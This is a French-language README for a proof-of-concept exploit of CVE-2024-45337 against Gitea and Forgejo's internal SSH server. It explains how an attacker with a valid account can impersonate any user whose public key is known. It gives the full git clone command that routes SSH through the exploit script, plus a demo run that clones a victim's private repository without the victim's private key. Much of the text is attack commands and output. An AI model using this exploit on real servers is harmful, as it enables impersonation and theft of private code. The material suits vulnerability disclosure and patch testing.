
Proof of Concept for CVE-2024-45337 against Gitea and Forgejo
Ce dépôt contient une preuve de concept pour CVE-2024-45337.
Elle peut être utilisée pour envelopper ssh lors de l'interaction avec un serveur SSH implémenté à l'aide de golang.org/x/crypto <= v0.30.0, tout en mettant en cache les permissions dans le rappel ServerConfig.PublicKeyCallback de manière non sécurisée.
Gitea <= 1.22.4 et Forgejo <= 7.0.11, 9.0.2 sont vulnérables lorsqu'ils sont hébergés avec le serveur SSH interne. Vous pouvez usurper l'identité de n'importe quel utilisateur tant que vous connaissez l'une des clés publiques associées à son compte. Vous devez avoir un compte vous-même que vous utilisez pour l'authentification SSH.
docker compose -f docker-compose.forgejo.yml up -d
victim
important_repo et générez un commit initial avec un README pour avoir quelque chose à clonerattacker
GIT_ATTACK_PRIVKEY sur le chemin de la clé privée du compte valideGIT_ATTACK_PUBKEY sur le chemin de la clé publique connue du compte cible. Nous ne connaissons pas la clé privée de celui-ci.GIT_SSH sur le chemin du script d'exploitation pour dire à git d'utiliser ceci à la place de la commande ssh nativeGIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Utilisez .ssh/config pour spécifier les clés lors du clonage
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
Exécution contre un conteneur local Forgejo 7.0.11 configuré comme ci-dessus.
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# Suppression de la clé privée de la victime pour la démonstration
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.